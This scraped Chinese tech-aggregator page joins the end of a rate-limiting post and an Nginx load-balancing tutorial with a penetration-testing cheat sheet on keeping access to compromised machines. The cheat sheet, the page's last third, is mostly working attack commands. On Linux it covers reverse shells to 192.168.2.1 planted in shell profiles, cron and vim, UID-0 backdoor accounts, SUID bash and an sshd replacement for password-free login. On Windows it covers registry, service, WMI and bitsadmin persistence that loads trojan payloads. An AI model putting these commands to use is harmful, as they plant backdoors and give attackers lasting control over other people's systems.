    令牌桶可以用來保護自己,主要用來對調用者頻率進行限流,為的是讓自己不被打垮。所以如果自己本身有處理能力的時候,如果流量突發(實際消費能力強於配置的流量限制),那麼實際處理速率可以超過配置的限制。而漏桶算法,這是用來保護他人,也就是保護他所調用的系統。主要場景是,當調用的第三方系統本身沒有保護機制,或者有流量限制的時候,我們的調用速度不能超過他的限制,由於我們不能更改第三方系統,所以只有在主調方控制。這個時候,即使流量突發,也必須捨棄。因為消費能力是第三方決定的。
    總結起來:如果要讓自己的系統不被打垮,用令牌桶。如果保證被別人的系統不被打垮,用漏桶算法

     

    參考博客:https://blog.csdn.net/weixin_41846320/article/details/95941361

         https://www.cnblogs.com/xuwc/p/9123078.html

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準

  • 【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    上一個章節,我們學習了負載均衡的理論知識,那麼是不是把應用部署多套,前面掛一個負載均衡的軟件或硬件就可以應對高併發了?其實還有很多問題需要考慮。比如:
    
    1. 當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    2. 掛掉的服務器,怎麼才能不再訪問?
    3. 如何保證負載均衡的高可用性?
    
    等等等等...
    
    讓我們帶着這些問題,實戰學習一下 Nginx 的配置和使用。
    

    1. 前置概念

    在正式介紹 Nginx 之前,首先讓我們先了解一下概念。

    1. 中間件

    干 IT 太累了,我準備辭職開了個燒烤攤,賣羊肉串;

    賣羊肉串首先就得有羊肉,於是我就聯繫了很多養殖場,我又是一個比較負責任的人,為了保證羊肉的質量,我就去考察了一家又一家養殖場,同時我也是個“小氣”的人,所以我考察過程中,和對方談判、比價,最終選了一個養殖場作為我的羊肉供應商,為我提供羊肉。

    經營了一陣子,這個養殖場提供的羊肉質量沒有以前好了,那麼我就重新考察、談判、比價,如此反覆,我投入了大量的時間和精力。

    於是我找到了一個信得過的代理公司,約定要羊肉的質量和數量,談好價錢,以後我只找代理商拿貨,具體代理商找的哪家養殖場我不去過問,甚至代理商可以送貨上門。

    在這個例子裏面,賣燒烤就是業務,我的燒烤攤是業務端,養殖場是底層,而 這個信得過的代理公司,就是中間件。

    2. 正向代理和反向代理

    正向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我就派我的管家回老家考察;管家就是正向代理服務器;正向代理服務器代表了客戶端,在正向代理的過程中,服務端只和代理服務器打交道(房東只和我的管家談),並不知道真正的客戶端是誰。

    反向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我打個電話聯繫了老家的房屋中介去辦這件事兒;房屋中介就是反向代理;這裏的反向代理,代表的是房東,在反向代理的過程中,客戶端只和反向代理服務器打交道,並不知道真正的服務端是誰。

    當然,我的管家也可以聯繫我老家的房屋中介,那麼架構圖就會變成:

    2. Nginx 的概念

    了解完上面的幾個概念,那麼 Nginx 的概念理解起來就簡單很多了:

    Nginx 就是一個開源的、高性能的、可靠的 Http 中間件; 它經常被用作 Http 代理、反向代理、負載均衡等等,當然它也能做正向代理,但是實際很少有這麼用的。

    3. 最簡單的 Nginx 使用示例

    本章節項目的代碼:chapter3

    Step 1. 部署多套環境

    我們將章節 1 中的項目 chapter1 複製出來一份,改名為 chapter3,表示是第 3 章節的項目,同時修改:

    1. pom.xml 中的 artifactId 修改為 chapter3
    2. application.yml 中的 server.port 修改成 8089

    這樣我們分別啟動 chapter1 和 chapter3,這樣就相當於把相同的項目部署了兩套,端口分別是 8088 和 8089 。

    Step 2. 下載 Nginx

    我們可以在 Nginx 的官網 下載我們所需的版本,因為我使用 windows 環境開發,所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

    下載完成解壓縮,不需要額外的安裝,可以直接使用。

    Step 3. 配置 Nginx

    進入 nginx-1.14.2\conf 目錄下,用文本編輯器打開 nginx.conf,對配置文件進行如下修改:

    1. 在 http 中增加 upstream,並配置兩台環境的地址;
    2. 在 http.server.location 中增加 proxy_pass 的配置;

    http {
        ...
    
        #增加 upstream 的配置,其中 myserver 是自己起的名字
        upstream myserver{
    	     server 127.0.0.1:8088;  #有幾套環境,就配置幾條
    	     server 127.0.0.1:8089;
        }
    
        server {
            listen       80;
            server_name  localhost;
    
            #charset koi8-r;
    
            #access_log  logs/host.access.log  main;
    
            location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver; #增加,其中 http://myserver 的 myserver 要和上文對應
            }
    
          }
        }
        ...
    }
    

    完整配置文件請參考:nginx.conf

    Step 4. 啟動 Nginx

    我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動;也可以通過 cmd 命令打開控制台,進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx:

    start nginx //啟動 Nginx ;啟動后可能一閃而過,我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程
    
    nginx.exe -s stop //停止 Nginx
    nginx.exe -s quit //停止 Nginx
    

    Step 5. 測試 Nginx

    讓我們測試一下 Nginx 是否配置並啟動成功,打開瀏覽器輸入:

    http://127.0.0.1/queryAdmin
    

    注意這裏並沒有加端口號,是因為 url 中沒有端口號的時候表示端口號為 80,而我們 Nginx 的配置文件中,監聽的正是 80 端口 (listen 80);我們可以在瀏覽器中看到服務返回的結果:

    User : Admin
    

    這就說明 Nginx 已經轉發了我們的請求到了服務端,並正確返回,那麼負載均衡是如何體現的呢?讓我們多刷新幾次瀏覽器,然後看看後台日誌:

    我前後一共調用了 5 次服務,可以看到兩個服務端分別接收到了 2 次和 3 次請求,負載均衡達到了效果。

    4. Nginx 常見的路由策略

    1. 輪詢法

    最簡單的輪詢法,多餘的配置不需要增加。

    upstream myserver{
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    2. 源地址哈希法

    使用 ip_hash 關鍵字,每一個請求,都按 hash(IP) 的結果決定訪問哪台服務器;

    upstream myserver{
       ip_hash; # hash(IP)
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    如果我們本地測試,多次訪問接口,可以發現請求永遠落到同一個服務上,因為本地 IP 一直沒有改變。

    3. 加權輪詢法

    使用 weight 關鍵字,設置每台服務器的權重;

    upstream myserver{
       server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
       server 127.0.0.1:8089 weight=4;
    }
    

    4. 最小連接數法

    根據每個服務器節點的連接數,動態地選擇當前連接數最少的服務器轉發請求;

    upstream myserver{
       least_conn;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    5. 最快響應速度法

    根據每個服務器節點的響應時間(請求的往返延遲),動態地選擇當前響應速度最快的服務器轉發請求;需要額外安裝 nginx-upstream-fair 模塊。

    upstream myserver{
       fair; # 額外安裝 nginx-upstream-fair 模塊
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    6. URL 哈希算法

    對 URL 進行 Hash 運算,根據結果來分配請求,這樣每個 URL 都可以訪問到同一個服務端;當服務端有緩存的時候,比較有效。

    upstream myserver{
       hash $request_uri;
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    也可以安裝第三方模塊,比如我們要使用 URL 一致性哈希算法,那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

    upstream myserver{
       consistent_hash $request_uri;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    參考資料:Upstream Consistent Hash

    5. Nginx 常用功能

    5.1 請求失敗重試

    當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    

    我們可以先做個試驗,就是關閉 8089 端口的服務,只保留 8088 端口的服務,然後調用幾次接口,如果其中一次調用長時間不返回(瀏覽器訪問狀態圖標一直在打轉),表示本次請求發送到了 8089 端口,那麼讓我們等待一段時間…大約一分鐘之後,8080 端口服務的後台日誌,打印出來日誌,調用端接收到了返回,這說明:

    1. Nginx 默認有失敗重試機制;
    2. 默認的超時時間為 60s 。

    這裏的超時時間是可以修改的,需要在 http.server.location 中增加如下配置:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    完整配置文件請參考:設置超時重試時間5秒-nginx.conf

    不過這裏要注意一點,如果設置了服務器相應超時時間(比如設置了 10s ),萬一應用的業務處理時間比較慢(業務處理花費了 15s ),那麼會導致 Nginx 超時重試,那麼可能會造成重複處理。

    5.2 後端服務器節點健康狀態檢查

    如果掛掉一台服務器,路由到這台服務器請求每次都要等到超時時間過去,才能發起重試,如果 Nginx 不再把請求發送給掛掉的服務器,那就省事多了;
    
    這就叫做“後端服務器節點健康狀態檢查”。
    

    如果不安裝第三方模塊,可以做如下配置完成“後端服務器節點健康狀態檢查”:

    1. 設置超時時間:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    2. 設置嘗試重試的次數:

    upstream myserver{
      	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
      	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
    }
    

    其中 max_fails 表示最多失敗次數,fail_timeout 表示在一個時間段內,服務器不會再次嘗試訪問;上面的配置表示在 100s 內,只要超時失敗 1 次,就不再訪問該服務器。

    完整配置文件請參考:設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

    除此之外,我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”:

    • nginx_upstream_check_module
    • ngx_http_healthcheck_module

    5.3 Nginx 的高可用

    以為使用 Nginx ,部署了多台應用服務器,可以保證應用服務器的高可用(掛掉一台,還有其他服務器可以用);
    
    但是如何保證負載均衡的高可用性?也就是萬一 Nginx 掛了怎麼辦?
    

    Nginx 同樣也需要部署多台,架構大概是這個樣子的:

    現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用:

    5.4 其他

    除了以上的常見功能,強大的 Nginx 還可以:

    1. 限制 IP 訪問頻率和帶寬佔用;
    2. 緩存靜態資源;
    3. 文件壓縮;
    4. TCP 負載;
    5. 防盜鏈;
    6. 等等等等…

    總結

    我們現在的架構已經變成了:

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 滲透測試-權限維持

    linux權限維持

    添加賬號

    一般在具有root權限時可以使用以下2種方式添加root權限用戶

    1.通過useradd,後面賬號backdoor/123456

    useradd -u 0 -o -g root -G root backdoor
    
    echo 123456:password|chpasswd
    

    2.通過直接對etc/passwd文件進行寫入

    perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果
    
    # 123456加密后的結果為AASwmzPNx.3sg
    
    echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中
    

    清理以上痕迹

    userdel -f backdoor
    

    設置sid位的文件

    在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

    在高權限時

    cp /bin/bash /tmp/.bash
    
    chmod 4755 /tmp/.bash  #設置suid
    

    使用時帶上-p參數

    /tmp/.bash -p
    

    清理痕迹

    rm -rf /tmp/.bash
    

    通過環境變量植入後門

    以下是環境變量的位置

    /etc/profile
    /etc/profile.d/*.sh
    ~/.bash_profile
    ~/.profile
    ~/.bashrc
    ~/bash_logout
    /etc/bashrc
    /etc/bash.bashrc
    

    寫入shell反彈語句

    echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile
    

    這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

    以下文件需要高權限,為全局變量

    /etc/profile
    /etc/profile.d/*.sh
    /etc/bashrc
    /etc/bash.bashrc
    

    以下為當前用戶的環境變量

    ~/.bash_profile		#實驗過程中沒有反應
    ~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
    ~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
    ~/bash_logout			#實驗過程中沒有反應
    

    清理痕迹

    刪除配置文件中添加的代碼即可

    寫入ssh公鑰

    首先在本地生成ssh公鑰和私鑰

    在自己的~/.ssh/目錄下執行

    ssh-keygen -t rsa
    

    會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

    id_rsa      id_rsa.pub  known_hosts
    

    xxx為公鑰內容,也就是id_rsa.pub的內容

    echo "xxx" >> ~/.ssh/authorized_keys
    

    清理痕迹

    刪除目標上的 ~/.ssh/authorized_keys即可

    ssh任意密碼登錄

    在root用戶時,suchfnchsh命令不需要輸入密碼認證

    通過軟連接將ssh的服務進行cp,並重命名為以上命令

    ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
    /tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口
    

    連接

    ssh root@host -p 12345
    
    #密碼隨便輸入即可登錄,並且可登錄任意賬號
    

    清理方式

    netstat -antp | gerp -E "su|chfn|chsh"
    #找到進程號xxx
    ps aux | grep xxx
    #找到軟連接位置/aaa/bbb/su
    kill xxx
    rm -rf /aaa/bbb/su
    

    修改sshd文件做到無認證登錄

    建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

    將原先的sshd文件進行轉義

    mv /usr/sbin/sshd /usr/bin/sshd
    

    開始使用perl進行寫腳本

    echo '#!/usr/bin/perl' > /usr/sbin/sshd
    echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd
    

    其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

    其中的LF代表開啟的端口號是19526

    python2
    >> import struct
    >> print struct.pack('>I6',19526) 
    #輸出的內容為 LF
    

    賦予新文件權限並重啟sshd

    chmod u+x sshd
    service sshd restart
    

    連接方式

    socat STDIO TCP4:172.16.177.178:22,bind=:19526
    

    清除痕迹

    #刪除自定義的sshd
    rm -rf /usr/sbin/sshd
    #將同版本的sshd拷貝到對應目錄下
    mv /usr/bin/sshd /usr/sbin/sshd
    

    利用vim可執行python腳本預留後門

    先準備個python的反彈shell腳本

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    

    找到提供vim插件的python的擴展包目錄

    vim --version  #查看使用的python版本
    

    找到python的擴展位置

    pip show requests
    

    進入目錄

    cd /usr/lib/python2.7/site-packages
    

    將內容寫入

    echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py
    

    運行,並刪除文件

    $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    

    清除痕迹

    ps aux|grep vim
    #獲取pid
    kill pid
    

    計劃任務

    因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

    這裏藉助python,或者perl都可

    使用python

    echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
    

    使用perl

    echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
    

    清除痕迹

    如果通過crontab -e 不知道為啥會頂掉上一個

    crontab -l			#只看得到一個
    crontab -r			#刪除所有計劃任務
    

    動態加載庫

    使用export LD_PRELOAD=./xx.so

    這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

    這裏使用以下項目

    https://github.com/Screetsec/Vegile
    

    準備2個文件

    • msf的木馬
    • Veglie項目

    使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

    python -m SimpleHTTP
    

    目標服務器上

    wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
    wget http://xxx.xxx.xx.xxx:8000/shell
    

    解壓后運行

    unzip Vegile.zip
    chmod 777 Vegile shell
    ./Vegile --u shell
    

    清理痕迹

    清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

    清理思路掛起父進程,清除所有子進程再刪除父進程

    windows權限維持

    比較常見的windows提取

    ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
    ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
    ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞
    

    計劃任務

    拿到shell后先修改編碼

    chcp 65001
    

    設置計劃任務,每分鐘調用運行一次shell

    schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00
    

    清理痕迹

    控制面板->管理工具->任務計劃程序->找到惡意計劃任務
    在 操作 中找到調用的腳本,進行文件刪除
    刪除惡意計劃任務
    

    映像劫持

    在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

    以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
    

    清理痕迹

    HKLM是HKEY_LOCAL_MACHINE

    找到目標的註冊表,將debug內容刪除

    環境變量

    用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

    reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f
    

    清理痕迹

    直接找到 開始->用戶頭像->更改我的環境變量

    進程退出劫持

    在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”
    

    清理痕迹

    找到目標的註冊表刪除即可

    AppInit_DLLs注入

    User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

    對HKML註冊表的內容進行修改一般都要system權限

    Windows 10

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    

    其他

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f
    

    這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

    清理痕迹

    到對應註冊表的位置刪除Appinit_Dlls的值

    bits文件傳輸

    通過bitsadmin從網絡上下載的時候可以額外執行腳本

    bitsadmin /create test
    
    隨意下載
    bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 
    
    執行的命令
    bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 
    
    啟動任務
    bitsadmin /resume test
    

    每次開機的時候會觸發

    清理痕迹

    bitsadmin /reset
    

    COM組件劫持

    將腳本放入com組件中

    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f
    
    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
    

    清理痕迹

    刪除註冊表中的路徑值,並通過路徑刪除木馬文件

    替換cmd.exe

    將sethc.exe(按shift 5下)替換成cmd.exe

    takeown /f sethc.* /a /r /d y
    cacls sethc.exe /T /E /G administrators:F
    copy /y cmd.exe sethc.exe
    

    清理痕迹

    找個原版的setch.exe 覆蓋回去

    Winlogon劫持

    winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f
    

    清理痕迹

    刪除註冊表的shell中的值,並且找到後門文件刪除掉

    組策略

    需要能遠程登錄到桌面

    輸入gpedit.msc打開組策略,需要管理員賬號

    在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

    清理痕迹

    打開組策略找到腳本,刪除即可

    修改計算器啟動服務調用的程序

    啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

    類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

    篡改運行腳本
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f
    
    設置自動啟動
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 
    
    啟動服務
    sc start IEEtwCollectorService 
    

    返回的是system權限

    清理痕迹

    將篡改的註冊表改回來,並且刪除目標木馬

    MSDTC 服務

    MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

    清理痕迹

    刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

    啟動項

    啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    
    C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    

    也會運行以下註冊表中的腳本

    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    
    需要高權限
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

    cmd 啟動劫持

    在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    在管理員權限下刪除註冊表的值即可

    wmic事件

    註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
    wmic 
    /NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 
    
    
    註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
    wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 
    
    綁定事件 過濾器和事件消費者
    wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益